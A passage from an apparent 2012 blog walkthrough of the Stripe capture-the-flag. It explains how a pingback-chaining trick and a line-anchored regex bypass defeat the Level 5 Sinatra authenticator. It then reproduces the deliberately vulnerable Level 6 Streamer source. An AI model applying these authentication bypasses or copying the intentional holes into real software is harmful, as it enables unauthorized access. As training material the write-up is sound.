&lt;p&gt;Password: &lt;input type="password" name="password" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;input type="submit" value="Submit"&gt;&lt;/p&gt;
&lt;/form&gt;
EOF

      user = session[:auth_user]
      host = session[:auth_host]
      if user &amp;&amp; host
        output += "&lt;p&gt; You are authenticated as #{user}@#{host}. &lt;/p&gt;"
        if host =~ PASSWORD_HOSTS
          output += "&lt;p&gt; Since you're a user of a password host and all,"
          output += " you deserve to know this password: #{PASSWORD} &lt;/p&gt;"
        end
      end

      output
    end

    post '/*' do
      pingback = params[:pingback]
      username = params[:username]
      password = params[:password]

      pingback = "http://#{pingback}" unless pingback.include?('://')

      host = URI.parse(pingback).host
      unless host =~ ALLOWED_HOSTS
        return "Host not allowed: #{host}" \
               " (allowed authentication hosts are #{ALLOWED_HOSTS.inspect})"
      end

      begin
        body = perform_authenticate(pingback, username, password)
      rescue StandardError =&gt; e
        return "An unknown error occurred while requesting #{pingback}: #{e}"
      end

      if authenticated?(body)
        session[:auth_user] = username
        session[:auth_host] = host
        return "Remote server responded with: #{body}." \
               " Authenticated as #{username}@#{host}!"
      else
        session[:auth_user] = nil
        session[:auth_host] = nil
        sleep(1) # prevent abuse
        return "Remote server responded with: #{body}." \
               " Unable to authenticate as #{username}@#{host}."
      end
    end

    def perform_authenticate(url, username, password)
      $log.info("Sending request to #{url}")
      response = RestClient.post(url, {:password =&gt; password,
                                       :username =&gt; username})
      body = response.body

      $log.info("Server responded with: #{body}")
      body
    end

    def authenticated?(body)
      body =~ /[^\w]AUTHENTICATED[^\w]*$/
    end
  end
end

def main
  DomainAuthenticator::DomainAuthenticatorSrv.run!
end

if $0 == __FILE__
  main
  exit(0)
end</pre>
</td>
</tr>
</tbody>
</table>
&nbsp;

<strong>Solution</strong>

We have to do two steps here, first is to get authenticated, second is to get authenticated from the origin. This is a somewhat hard and nasty challenge. This one is also Ruby/Sinatra based.

The application form looks like this:

<a href="http://abiusx.com/blog/wp-content/uploads/2012/08/stripe-ctf-challenge5.png"><img class="aligncenter size-full wp-image-771" title="stripe-ctf-challenge5" src="http://abiusx.com/blog/wp-content/uploads/2012/08/stripe-ctf-challenge5.png" alt="" width="642" height="288" /></a>

You have to provide it with some pingback URL that outputs .AUTHENTICATED. when provided with username and password of this form as inputs. Only if this pingback URL is hosted on stripe-ctf.com, it will be accepted (Line 21 ALLOWED_HOSTS).

This part is pretty easy, just upload another PHP file on Challenge 2&#8242;s upload section which outputs &#8220;.AUTHENTICATED.&#8221; and provide it as the pingback URL here. This will get you authenticated since the Regular Expression on line 110 requires One Non-Alphanumeric char at both ends of the word AUTHENTICATED.

Unfortunately, your host (level02-2.stripe-ctf.com) is not in KNOWN_HOSTS (level05-2.stripe-ctf.com) so the script on line 57 won&#8217;t show you the password.

So you have to provide some pingback on level05 server, but it doesn&#8217;t have any LFI flaws. It doesn&#8217;t have anything apart from the page shown in the picture, so it must be there somewhere.

Taking note of the lines 67-70 shows that Sinatra (the Ruby web framework powering this challenge) does not separate GET and POST arguments. It is a well known flaw and exists in some Java installations as well. This means that we don&#8217;t have to provide pingback, username and password as POST parameters, we could easily use a GET one to send them. So what if the pingback was this:
<blockquote><strong>https://level05-2.stripe-ctf.com/user-ttjzfipuud?pingback=</strong><strong>https://level02-3.stripe-ctf.com/user-shjuxdnipi/uploads/authenticatede.php</strong></blockquote>
What would this do? It would make the application send a pingback to level05 server, asking if we are authenticated. Level05 server would chain this pingback to level02 server, to get it&#8217;s response as well and output it. Now level02 will provide .AUTHENTICATED. and level05 server would return this, with a few words before and after:
<blockquote>
<pre>Remote server responded with: .AUTHENTICATED..</pre>
<pre>Authenticated as username@level02-3.stripe-ctf.com!</pre>
</blockquote>
<pre>This is the output given by the first pingback (level05 server), and is taken as input into the application. Unfortunately, this string would not pass the regex at line 110, because it has alphanumeric characters before AUTHENTICATED.</pre>
<pre>This step had me stuck there for a couple hours, but then I realized that Ruby regexs operate on single lines, not all the text; i.e the regex checks every line of the output string and if any of them is valid, validates. So I just had to change uploaded PHP script to output <strong>\rAUTHENTICATED\r</strong> instead of dots, to make this string the input to the application:</pre>
<blockquote>
<blockquote>
<pre>Remote server responded with:</pre>
<pre>AUTHENTICATED</pre>
<pre>.</pre>
<pre>Authenticated as username@level02-3.stripe-ctf.com!</pre>
</blockquote>
</blockquote>
<div> Now this one passes the regex check, and you&#8217;re authenticated to see the password.</div>
<div></div>
<div></div>
<div><!--more--></div>
<h3><strong>Challenge 6 &#8211; XSS with Bypassing</strong></h3>
<div>

<strong></strong>You completed this level in 4769.346 seconds. The password was<code>'UomQaKdVQhrI"</code>.

The solution you submitted was:

<code>omfg this took a lot and was soo damn hard <img src='http://abiusx.com/blog/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </code>

<hr />

After Karma Trader from Level 4 was hit with massive karma inflation (purportedly due to someone flooding the market with massive quantities of karma), the site had to close its doors. All hope was not lost, however, since the technology was acquired by a real up-and-comer, Streamer. Streamer is the self-proclaimed most steamlined way of sharing updates with your friends. You can access your Streamer instance here: <strong><a href="https://level06-2.stripe-ctf.com/user-nmqpuylekv" target="_blank">https://level06-2.stripe-ctf.com/user-nmqpuylekv</a></strong>

The Streamer engineers, realizing that security holes had led to the demise of Karma Trader, have greatly beefed up the security of their application. Which is really too bad, because you&#8217;ve learned that the holder of the password to access Level 7, <strong>level07-password-holder</strong>, is the first Streamer user.

As well, <strong>level07-password-holder</strong> is taking a lot of precautions: his or her computer has no network access besides the Streamer server itself, and his or her password is a complicated mess, including quotes and apostrophes and the like.

Fortunately for you, the Streamer engineers have decided to open-source their application so that other people can run their own Streamer instances. You can obtain the source for Streamer at <code>git clone https://level06-2.stripe-ctf.com/user-nmqpuylekv/level06-code</code>. We&#8217;ve also included the most important files below.

The contents of <code>srv.rb</code>:
<table>
<tbody>
<tr>
<td title="double click to toggle">
<pre><a name="n1" href="https://stripe-ctf.com/levels/6#n1"></a>1
<a name="n2" href="https://stripe-ctf.com/levels/6#n2"></a>2
<a name="n3" href="https://stripe-ctf.com/levels/6#n3"></a>3
<a name="n4" href="https://stripe-ctf.com/levels/6#n4"></a>4
<a name="n5" href="https://stripe-ctf.com/levels/6#n5"></a>5
<a name="n6" href="https://stripe-ctf.com/levels/6#n6"></a>6
<a name="n7" href="https://stripe-ctf.com/levels/6#n7"></a>7
<a name="n8" href="https://stripe-ctf.com/levels/6#n8"></a>8
<a name="n9" href="https://stripe-ctf.com/levels/6#n9"></a>9
<strong><a name="n10" href="https://stripe-ctf.com/levels/6#n10"></a>10</strong>
<a name="n11" href="https://stripe-ctf.com/levels/6#n11"></a>11
<a name="n12" href="https://stripe-ctf.com/levels/6#n12"></a>12
<a name="n13" href="https://stripe-ctf.com/levels/6#n13"></a>13
<a name="n14" href="https://stripe-ctf.com/levels/6#n14"></a>14
<a name="n15" href="https://stripe-ctf.com/levels/6#n15"></a>15
<a name="n16" href="https://stripe-ctf.com/levels/6#n16"></a>16
<a name="n17" href="https://stripe-ctf.com/levels/6#n17"></a>17
<a name="n18" href="https://stripe-ctf.com/levels/6#n18"></a>18
<a name="n19" href="https://stripe-ctf.com/levels/6#n19"></a>19
<strong><a name="n20" href="https://stripe-ctf.com/levels/6#n20"></a>20</strong>
<a name="n21" href="https://stripe-ctf.com/levels/6#n21"></a>21
<a name="n22" href="https://stripe-ctf.com/levels/6#n22"></a>22
<a name="n23" href="https://stripe-ctf.com/levels/6#n23"></a>23
<a name="n24" href="https://stripe-ctf.com/levels/6#n24"></a>24
<a name="n25" href="https://stripe-ctf.com/levels/6#n25"></a>25
<a name="n26" href="https://stripe-ctf.com/levels/6#n26"></a>26
<a name="n27" href="https://stripe-ctf.com/levels/6#n27"></a>27
<a name="n28" href="https://stripe-ctf.com/levels/6#n28"></a>28
<a name="n29" href="https://stripe-ctf.com/levels/6#n29"></a>29
<strong><a name="n30" href="https://stripe-ctf.com/levels/6#n30"></a>30</strong>
<a name="n31" href="https://stripe-ctf.com/levels/6#n31"></a>31
<a name="n32" href="https://stripe-ctf.com/levels/6#n32"></a>32
<a name="n33" href="https://stripe-ctf.com/levels/6#n33"></a>33
<a name="n34" href="https://stripe-ctf.com/levels/6#n34"></a>34
<a name="n35" href="https://stripe-ctf.com/levels/6#n35"></a>35
<a name="n36" href="https://stripe-ctf.com/levels/6#n36"></a>36
<a name="n37" href="https://stripe-ctf.com/levels/6#n37"></a>37
<a name="n38" href="https://stripe-ctf.com/levels/6#n38"></a>38
<a name="n39" href="https://stripe-ctf.com/levels/6#n39"></a>39
<strong><a name="n40" href="https://stripe-ctf.com/levels/6#n40"></a>40</strong>
<a name="n41" href="https://stripe-ctf.com/levels/6#n41"></a>41
<a name="n42" href="https://stripe-ctf.com/levels/6#n42"></a>42
<a name="n43" href="https://stripe-ctf.com/levels/6#n43"></a>43
<a name="n44" href="https://stripe-ctf.com/levels/6#n44"></a>44
<a name="n45" href="https://stripe-ctf.com/levels/6#n45"></a>45
<a name="n46" href="https://stripe-ctf.com/levels/6#n46"></a>46
<a name="n47" href="https://stripe-ctf.com/levels/6#n47"></a>47
<a name="n48" href="https://stripe-ctf.com/levels/6#n48"></a>48
<a name="n49" href="https://stripe-ctf.com/levels/6#n49"></a>49
<strong><a name="n50" href="https://stripe-ctf.com/levels/6#n50"></a>50</strong>
<a name="n51" href="https://stripe-ctf.com/levels/6#n51"></a>51
<a name="n52" href="https://stripe-ctf.com/levels/6#n52"></a>52
<a name="n53" href="https://stripe-ctf.com/levels/6#n53"></a>53
<a name="n54" href="https://stripe-ctf.com/levels/6#n54"></a>54
<a name="n55" href="https://stripe-ctf.com/levels/6#n55"></a>55
<a name="n56" href="https://stripe-ctf.com/levels/6#n56"></a>56
<a name="n57" href="https://stripe-ctf.com/levels/6#n57"></a>57
<a name="n58" href="https://stripe-ctf.com/levels/6#n58"></a>58
<a name="n59" href="https://stripe-ctf.com/levels/6#n59"></a>59
<strong><a name="n60" href="https://stripe-ctf.com/levels/6#n60"></a>60</strong>
<a name="n61" href="https://stripe-ctf.com/levels/6#n61"></a>61
<a name="n62" href="https://stripe-ctf.com/levels/6#n62"></a>62
<a name="n63" href="https://stripe-ctf.com/levels/6#n63"></a>63
<a name="n64" href="https://stripe-ctf.com/levels/6#n64"></a>64
<a name="n65" href="https://stripe-ctf.com/levels/6#n65"></a>65
<a name="n66" href="https://stripe-ctf.com/levels/6#n66"></a>66
<a name="n67" href="https://stripe-ctf.com/levels/6#n67"></a>67
<a name="n68" href="https://stripe-ctf.com/levels/6#n68"></a>68
<a name="n69" href="https://stripe-ctf.com/levels/6#n69"></a>69
<strong><a name="n70" href="https://stripe-ctf.com/levels/6#n70"></a>70</strong>
<a name="n71" href="https://stripe-ctf.com/levels/6#n71"></a>71
<a name="n72" href="https://stripe-ctf.com/levels/6#n72"></a>72
<a name="n73" href="https://stripe-ctf.com/levels/6#n73"></a>73
<a name="n74" href="https://stripe-ctf.com/levels/6#n74"></a>74
<a name="n75" href="https://stripe-ctf.com/levels/6#n75"></a>75
<a name="n76" href="https://stripe-ctf.com/levels/6#n76"></a>76
<a name="n77" href="https://stripe-ctf.com/levels/6#n77"></a>77
<a name="n78" href="https://stripe-ctf.com/levels/6#n78"></a>78
<a name="n79" href="https://stripe-ctf.com/levels/6#n79"></a>79
<strong><a name="n80" href="https://stripe-ctf.com/levels/6#n80"></a>80</strong>
<a name="n81" href="https://stripe-ctf.com/levels/6#n81"></a>81
<a name="n82" href="https://stripe-ctf.com/levels/6#n82"></a>82
<a name="n83" href="https://stripe-ctf.com/levels/6#n83"></a>83
<a name="n84" href="https://stripe-ctf.com/levels/6#n84"></a>84
<a name="n85" href="https://stripe-ctf.com/levels/6#n85"></a>85
<a name="n86" href="https://stripe-ctf.com/levels/6#n86"></a>86
<a name="n87" href="https://stripe-ctf.com/levels/6#n87"></a>87
<a name="n88" href="https://stripe-ctf.com/levels/6#n88"></a>88
<a name="n89" href="https://stripe-ctf.com/levels/6#n89"></a>89
<strong><a name="n90" href="https://stripe-ctf.com/levels/6#n90"></a>90</strong>
<a name="n91" href="https://stripe-ctf.com/levels/6#n91"></a>91
<a name="n92" href="https://stripe-ctf.com/levels/6#n92"></a>92
<a name="n93" href="https://stripe-ctf.com/levels/6#n93"></a>93
<a name="n94" href="https://stripe-ctf.com/levels/6#n94"></a>94
<a name="n95" href="https://stripe-ctf.com/levels/6#n95"></a>95
<a name="n96" href="https://stripe-ctf.com/levels/6#n96"></a>96
<a name="n97" href="https://stripe-ctf.com/levels/6#n97"></a>97
<a name="n98" href="https://stripe-ctf.com/levels/6#n98"></a>98
<a name="n99" href="https://stripe-ctf.com/levels/6#n99"></a>99
<strong><a name="n100" href="https://stripe-ctf.com/levels/6#n100"></a>100</strong>
<a name="n101" href="https://stripe-ctf.com/levels/6#n101"></a>101
<a name="n102" href="https://stripe-ctf.com/levels/6#n102"></a>102
<a name="n103" href="https://stripe-ctf.com/levels/6#n103"></a>103
<a name="n104" href="https://stripe-ctf.com/levels/6#n104"></a>104
<a name="n105" href="https://stripe-ctf.com/levels/6#n105"></a>105
<a name="n106" href="https://stripe-ctf.com/levels/6#n106"></a>106
<a name="n107" href="https://stripe-ctf.com/levels/6#n107"></a>107
<a name="n108" href="https://stripe-ctf.com/levels/6#n108"></a>108
<a name="n109" href="https://stripe-ctf.com/levels/6#n109"></a>109
<strong><a name="n110" href="https://stripe-ctf.com/levels/6#n110"></a>110</strong>
<a name="n111" href="https://stripe-ctf.com/levels/6#n111"></a>111
<a name="n112" href="https://stripe-ctf.com/levels/6#n112"></a>112
<a name="n113" href="https://stripe-ctf.com/levels/6#n113"></a>113
<a name="n114" href="https://stripe-ctf.com/levels/6#n114"></a>114
<a name="n115" href="https://stripe-ctf.com/levels/6#n115"></a>115
<a name="n116" href="https://stripe-ctf.com/levels/6#n116"></a>116
<a name="n117" href="https://stripe-ctf.com/levels/6#n117"></a>117
<a name="n118" href="https://stripe-ctf.com/levels/6#n118"></a>118
<a name="n119" href="https://stripe-ctf.com/levels/6#n119"></a>119
<strong><a name="n120" href="https://stripe-ctf.com/levels/6#n120"></a>120</strong>
<a name="n121" href="https://stripe-ctf.com/levels/6#n121"></a>121
<a name="n122" href="https://stripe-ctf.com/levels/6#n122"></a>122
<a name="n123" href="https://stripe-ctf.com/levels/6#n123"></a>123
<a name="n124" href="https://stripe-ctf.com/levels/6#n124"></a>124
<a name="n125" href="https://stripe-ctf.com/levels/6#n125"></a>125
<a name="n126" href="https://stripe-ctf.com/levels/6#n126"></a>126
<a name="n127" href="https://stripe-ctf.com/levels/6#n127"></a>127
<a name="n128" href="https://stripe-ctf.com/levels/6#n128"></a>128
<a name="n129" href="https://stripe-ctf.com/levels/6#n129"></a>129
<strong><a name="n130" href="https://stripe-ctf.com/levels/6#n130"></a>130</strong>
<a name="n131" href="https://stripe-ctf.com/levels/6#n131"></a>131
<a name="n132" href="https://stripe-ctf.com/levels/6#n132"></a>132
<a name="n133" href="https://stripe-ctf.com/levels/6#n133"></a>133
<a name="n134" href="https://stripe-ctf.com/levels/6#n134"></a>134
<a name="n135" href="https://stripe-ctf.com/levels/6#n135"></a>135
<a name="n136" href="https://stripe-ctf.com/levels/6#n136"></a>136
<a name="n137" href="https://stripe-ctf.com/levels/6#n137"></a>137
<a name="n138" href="https://stripe-ctf.com/levels/6#n138"></a>138
<a name="n139" href="https://stripe-ctf.com/levels/6#n139"></a>139
<strong><a name="n140" href="https://stripe-ctf.com/levels/6#n140"></a>140</strong>
<a name="n141" href="https://stripe-ctf.com/levels/6#n141"></a>141
<a name="n142" href="https://stripe-ctf.com/levels/6#n142"></a>142
<a name="n143" href="https://stripe-ctf.com/levels/6#n143"></a>143
<a name="n144" href="https://stripe-ctf.com/levels/6#n144"></a>144
<a name="n145" href="https://stripe-ctf.com/levels/6#n145"></a>145
<a name="n146" href="https://stripe-ctf.com/levels/6#n146"></a>146
<a name="n147" href="https://stripe-ctf.com/levels/6#n147"></a>147
<a name="n148" href="https://stripe-ctf.com/levels/6#n148"></a>148
<a name="n149" href="https://stripe-ctf.com/levels/6#n149"></a>149
<strong><a name="n150" href="https://stripe-ctf.com/levels/6#n150"></a>150</strong>
<a name="n151" href="https://stripe-ctf.com/levels/6#n151"></a>151
<a name="n152" href="https://stripe-ctf.com/levels/6#n152"></a>152
<a name="n153" href="https://stripe-ctf.com/levels/6#n153"></a>153
<a name="n154" href="https://stripe-ctf.com/levels/6#n154"></a>154
<a name="n155" href="https://stripe-ctf.com/levels/6#n155"></a>155
<a name="n156" href="https://stripe-ctf.com/levels/6#n156"></a>156
<a name="n157" href="https://stripe-ctf.com/levels/6#n157"></a>157
<a name="n158" href="https://stripe-ctf.com/levels/6#n158"></a>158
<a name="n159" href="https://stripe-ctf.com/levels/6#n159"></a>159
<strong><a name="n160" href="https://stripe-ctf.com/levels/6#n160"></a>160</strong>
<a name="n161" href="https://stripe-ctf.com/levels/6#n161"></a>161
<a name="n162" href="https://stripe-ctf.com/levels/6#n162"></a>162
<a name="n163" href="https://stripe-ctf.com/levels/6#n163"></a>163
<a name="n164" href="https://stripe-ctf.com/levels/6#n164"></a>164
<a name="n165" href="https://stripe-ctf.com/levels/6#n165"></a>165
<a name="n166" href="https://stripe-ctf.com/levels/6#n166"></a>166
<a name="n167" href="https://stripe-ctf.com/levels/6#n167"></a>167
<a name="n168" href="https://stripe-ctf.com/levels/6#n168"></a>168
<a name="n169" href="https://stripe-ctf.com/levels/6#n169"></a>169
<strong><a name="n170" href="https://stripe-ctf.com/levels/6#n170"></a>170</strong>
<a name="n171" href="https://stripe-ctf.com/levels/6#n171"></a>171
<a name="n172" href="https://stripe-ctf.com/levels/6#n172"></a>172
<a name="n173" href="https://stripe-ctf.com/levels/6#n173"></a>173
<a name="n174" href="https://stripe-ctf.com/levels/6#n174"></a>174
<a name="n175" href="https://stripe-ctf.com/levels/6#n175"></a>175
<a name="n176" href="https://stripe-ctf.com/levels/6#n176"></a>176
<a name="n177" href="https://stripe-ctf.com/levels/6#n177"></a>177
<a name="n178" href="https://stripe-ctf.com/levels/6#n178"></a>178
<a name="n179" href="https://stripe-ctf.com/levels/6#n179"></a>179
<strong><a name="n180" href="https://stripe-ctf.com/levels/6#n180"></a>180</strong>
<a name="n181" href="https://stripe-ctf.com/levels/6#n181"></a>181
<a name="n182" href="https://stripe-ctf.com/levels/6#n182"></a>182
<a name="n183" href="https://stripe-ctf.com/levels/6#n183"></a>183
<a name="n184" href="https://stripe-ctf.com/levels/6#n184"></a>184
<a name="n185" href="https://stripe-ctf.com/levels/6#n185"></a>185
<a name="n186" href="https://stripe-ctf.com/levels/6#n186"></a>186
<a name="n187" href="https://stripe-ctf.com/levels/6#n187"></a>187
<a name="n188" href="https://stripe-ctf.com/levels/6#n188"></a>188
<a name="n189" href="https://stripe-ctf.com/levels/6#n189"></a>189
<strong><a name="n190" href="https://stripe-ctf.com/levels/6#n190"></a>190</strong>
<a name="n191" href="https://stripe-ctf.com/levels/6#n191"></a>191
<a name="n192" href="https://stripe-ctf.com/levels/6#n192"></a>192
<a name="n193" href="https://stripe-ctf.com/levels/6#n193"></a>193
<a name="n194" href="https://stripe-ctf.com/levels/6#n194"></a>194
<a name="n195" href="https://stripe-ctf.com/levels/6#n195"></a>195
<a name="n196" href="https://stripe-ctf.com/levels/6#n196"></a>196
<a name="n197" href="https://stripe-ctf.com/levels/6#n197"></a>197
<a name="n198" href="https://stripe-ctf.com/levels/6#n198"></a>198
<a name="n199" href="https://stripe-ctf.com/levels/6#n199"></a>199
<strong><a name="n200" href="https://stripe-ctf.com/levels/6#n200"></a>200</strong>
<a name="n201" href="https://stripe-ctf.com/levels/6#n201"></a>201
<a name="n202" href="https://stripe-ctf.com/levels/6#n202"></a>202
<a name="n203" href="https://stripe-ctf.com/levels/6#n203"></a>203
<a name="n204" href="https://stripe-ctf.com/levels/6#n204"></a>204
<a name="n205" href="https://stripe-ctf.com/levels/6#n205"></a>205
<a name="n206" href="https://stripe-ctf.com/levels/6#n206"></a>206
<a name="n207" href="https://stripe-ctf.com/levels/6#n207"></a>207
<a name="n208" href="https://stripe-ctf.com/levels/6#n208"></a>208
<a name="n209" href="https://stripe-ctf.com/levels/6#n209"></a>209
<strong><a name="n210" href="https://stripe-ctf.com/levels/6#n210"></a>210</strong>
<a name="n211" href="https://stripe-ctf.com/levels/6#n211"></a>211
<a name="n212" href="https://stripe-ctf.com/levels/6#n212"></a>212
<a name="n213" href="https://stripe-ctf.com/levels/6#n213"></a>213
<a name="n214" href="https://stripe-ctf.com/levels/6#n214"></a>214
<a name="n215" href="https://stripe-ctf.com/levels/6#n215"></a>215
<a name="n216" href="https://stripe-ctf.com/levels/6#n216"></a>216
<a name="n217" href="https://stripe-ctf.com/levels/6#n217"></a>217
<a name="n218" href="https://stripe-ctf.com/levels/6#n218"></a>218
<a name="n219" href="https://stripe-ctf.com/levels/6#n219"></a>219
<strong><a name="n220" href="https://stripe-ctf.com/levels/6#n220"></a>220</strong>
<a name="n221" href="https://stripe-ctf.com/levels/6#n221"></a>221
<a name="n222" href="https://stripe-ctf.com/levels/6#n222"></a>222
<a name="n223" href="https://stripe-ctf.com/levels/6#n223"></a>223
<a name="n224" href="https://stripe-ctf.com/levels/6#n224"></a>224
<a name="n225" href="https://stripe-ctf.com/levels/6#n225"></a>225
<a name="n226" href="https://stripe-ctf.com/levels/6#n226"></a>226
<a name="n227" href="https://stripe-ctf.com/levels/6#n227"></a>227
<a name="n228" href="https://stripe-ctf.com/levels/6#n228"></a>228
<a name="n229" href="https://stripe-ctf.com/levels/6#n229"></a>229
<strong><a name="n230" href="https://stripe-ctf.com/levels/6#n230"></a>230</strong>
<a name="n231" href="https://stripe-ctf.com/levels/6#n231"></a>231
<a name="n232" href="https://stripe-ctf.com/levels/6#n232"></a>232
<a name="n233" href="https://stripe-ctf.com/levels/6#n233"></a>233
<a name="n234" href="https://stripe-ctf.com/levels/6#n234"></a>234
<a name="n235" href="https://stripe-ctf.com/levels/6#n235"></a>235
<a name="n236" href="https://stripe-ctf.com/levels/6#n236"></a>236
<a name="n237" href="https://stripe-ctf.com/levels/6#n237"></a>237
<a name="n238" href="https://stripe-ctf.com/levels/6#n238"></a>238
<a name="n239" href="https://stripe-ctf.com/levels/6#n239"></a>239
<strong><a name="n240" href="https://stripe-ctf.com/levels/6#n240"></a>240</strong>
<a name="n241" href="https://stripe-ctf.com/levels/6#n241"></a>241
<a name="n242" href="https://stripe-ctf.com/levels/6#n242"></a>242
<a name="n243" href="https://stripe-ctf.com/levels/6#n243"></a>243
<a name="n244" href="https://stripe-ctf.com/levels/6#n244"></a>244
<a name="n245" href="https://stripe-ctf.com/levels/6#n245"></a>245
<a name="n246" href="https://stripe-ctf.com/levels/6#n246"></a>246
<a name="n247" href="https://stripe-ctf.com/levels/6#n247"></a>247
<a name="n248" href="https://stripe-ctf.com/levels/6#n248"></a>248
<a name="n249" href="https://stripe-ctf.com/levels/6#n249"></a>249
<strong><a name="n250" href="https://stripe-ctf.com/levels/6#n250"></a>250</strong>
<a name="n251" href="https://stripe-ctf.com/levels/6#n251"></a>251
<a name="n252" href="https://stripe-ctf.com/levels/6#n252"></a>252
<a name="n253" href="https://stripe-ctf.com/levels/6#n253"></a>253
<a name="n254" href="https://stripe-ctf.com/levels/6#n254"></a>254
<a name="n255" href="https://stripe-ctf.com/levels/6#n255"></a>255
<a name="n256" href="https://stripe-ctf.com/levels/6#n256"></a>256
<a name="n257" href="https://stripe-ctf.com/levels/6#n257"></a>257
<a name="n258" href="https://stripe-ctf.com/levels/6#n258"></a>258
<a name="n259" href="https://stripe-ctf.com/levels/6#n259"></a>259
<strong><a name="n260" href="https://stripe-ctf.com/levels/6#n260"></a>260</strong>
<a name="n261" href="https://stripe-ctf.com/levels/6#n261"></a>261
<a name="n262" href="https://stripe-ctf.com/levels/6#n262"></a>262
<a name="n263" href="https://stripe-ctf.com/levels/6#n263"></a>263
<a name="n264" href="https://stripe-ctf.com/levels/6#n264"></a>264
<a name="n265" href="https://stripe-ctf.com/levels/6#n265"></a>265
<a name="n266" href="https://stripe-ctf.com/levels/6#n266"></a>266
<a name="n267" href="https://stripe-ctf.com/levels/6#n267"></a>267</pre>
</td>
<td>
<pre>#!/usr/bin/env ruby
require 'rubygems'
require 'bundler/setup'

require 'rack/utils'
require 'rack/csrf'
require 'json'
require 'sequel'
require 'sinatra'

module Streamer
  PASSWORD = File.read('password.txt').strip

  # Only needed in production
  URL_ROOT = File.read('url_root.txt').strip rescue ''

  module DB
    def self.db_file
      'streamer.db'
    end

    def self.conn
      @conn ||= Sequel.sqlite(db_file)
    end

    def self.safe_insert(table, key_values)
      key_values.each do |key, value|
        # Just in case people try to exfiltrate
        # level07-password-holder's password
        if value.kind_of?(String) &amp;&amp;
            (value.include?('"') || value.include?("'"))
          raise "Value has unsafe characters"
        end
      end

      conn[table].insert(key_values)
    end

    def self.init
      return if File.exists?(db_file)
      File.umask(0066)

      conn.create_table(:users) do
        primary_key :id
        String :username
        String :password
        Time :last_active
      end

      conn.create_table(:posts) do
        primary_id :id
        String :user
        String :title
        String :body
        Time :time
      end

      conn[:users].insert(:username =&gt; 'level07-password-holder',
        :password =&gt; Streamer::PASSWORD,
        :last_active =&gt; Time.now.utc)

      conn[:posts].insert(:user =&gt; 'level07-password-holder',
        :title =&gt; 'Hello World',
        :body =&gt; "Welcome to Streamer, the most streamlined way of sharing
updates with your friends!

One great feature of Streamer is that no password resets are needed. I, for
example, have a very complicated password (including apostrophes, quotes, you
name it!). But I remember it by clicking my name on the right-hand side and
seeing what my password is.

Note also that Streamer can run entirely within your corporate firewall. My
machine, for example, can only talk directly to the Streamer server itself!",
        :time =&gt; Time.now.utc)
    end
  end

  class StreamerSrv &lt; Sinatra::Base
    set :environment, :production
    enable :sessions

    # Use persistent entropy file
    entropy_file = 'entropy.dat'
    unless File.exists?(entropy_file)
      File.open(entropy_file, 'w') do |f|
        f.write(OpenSSL::Random.random_bytes(24))
      end
    end
    set :session_secret, File.read(entropy_file)

    use Rack::Csrf, :raise =&gt; true

    helpers do
      def absolute_url(path)
        Streamer::URL_ROOT + path
      end

      # Insert an hidden tag with the anti-CSRF token into your forms.
      def csrf_tag
        Rack::Csrf.csrf_tag(env)
      end

      # Return the anti-CSRF token
      def csrf_token
        Rack::Csrf.csrf_token(env)
      end

      # Return the field name which will be looked for in the requests.
      def csrf_field
        Rack::Csrf.csrf_field
      end

      include Rack::Utils
      alias_method :h, :escape_html
    end

    def redirect(url)
      super(absolute_url(url))
    end

    before do
      @user = logged_in_user
      update_last_active
    end

    def logged_in_user
      if session[:user]
        @username = session[:user]
        @user = DB.conn[:users][:username =&gt; @username]
      end
    end

    def update_last_active
      return unless @user
      DB.conn[:users].where(:username =&gt; @user[:username]).
        update(:last_active =&gt; Time.now.utc)
    end

    def recent_posts
      # Grab the 5 most recent posts
      DB.conn[:posts].reverse_order(:time).limit(5).to_a.reverse
    end

    def registered_users
      DB.conn[:users].reverse_order(:id)
    end

    def die(msg, view)
      @error = msg
      halt(erb(view))
    end

    get '/' do
      if @user
        @registered_users = registered_users
        @posts = recent_posts

        erb :home
      else
        erb :login
      end
    end

    get '/register' do
      erb :register
    end

    post '/register' do
      username = params[:username]
      password = params[:password]
      unless username &amp;&amp; password
        die("Please specify both a username and a password.", :register)
      end

      unless DB.conn[:users].where(:username =&gt; username).count == 0
        die("This username is already registered. Try another one.",
            :register)
      end

      DB.safe_insert(:users,
        :username =&gt; username,
        :password =&gt; password,
        :last_active =&gt; Time.now.utc
        )
      session[:user] = username
      redirect '/'
    end

    get '/login' do
      redirect '/'
    end

    post '/login' do
      username = params[:username]
      password = params[:password]
      user = DB.conn[:users][:username =&gt; username, :password =&gt; password]
      unless user
        die('Could not authenticate. Perhaps you meant to register a new' \
            ' account? (See link below.)', :login)
      end

      session[:user] = user[:username]
      redirect '/'
    end

    get '/logout' do
      session.clear
      redirect '/'
    end

    get '/user_info' do
      @password = @user[:password]

      erb :user_info
    end

    before '/ajax/*' do
      halt(403, 'Must be logged in!') unless @user
    end

    get '/ajax/posts' do
      recent_posts.to_json
    end

    post '/ajax/posts' do
      msg = create_post
      resp = {:response =&gt; msg}
      resp.to_json
    end

    # Fallback if JS breaks
    get '/posts' do
      redirect '/'
    end

    post '/posts' do
      create_post if @user
      redirect '/'
    end

    def create_post
      post_body = params[:body]
      title = params[:title] || 'untitled'
      if post_body
        DB.safe_insert(:posts,
          :user =&gt; @user[:username],
          :title =&gt; title,
          :body =&gt; post_body,
          :time =&gt; Time.now.utc
          )
        'Successfully added the post!'
      else
        'No post body given!'
      end
    end
  end
end

def main
  Streamer::DB.init
  Streamer::StreamerSrv.run!
end

if $0 == __FILE__
  main
  exit(0)
end</pre>
</td>
</tr>
</tbody>
</table>
The contents of <code>views/home.erb</code>:
<table>
<tbody>
<tr>
<td title="double click to toggle">
<pre><a name="n1" href="https://stripe-ctf.com/levels/6#n1"></a>1
<a name="n2" href="https://stripe-ctf.com/levels/6#n2"></a>2
<a name="n3" href="https://stripe-ctf.com/levels/6#n3"></a>3
<a name="n4" href="https://stripe-ctf.com/levels/6#n4"></a>4
<a name="n5" href="https://stripe-ctf.com/levels/6#n5"></a>5
<a name="n6" href="https://stripe-ctf.com/levels/6#n6"></a>6
<a name="n7" href="https://stripe-ctf.com/levels/6#n7"></a>7
<a name="n8" href="https://stripe-ctf.com/levels/6#n8"></a>8
<a name="n9" href="https://stripe-ctf.com/levels/6#n9"></a>9
<strong><a name="n10" href="https://stripe-ctf.com/levels/6#n10"></a>10</strong>
<a name="n11" href="https://stripe-ctf.com/levels/6#n11"></a>11
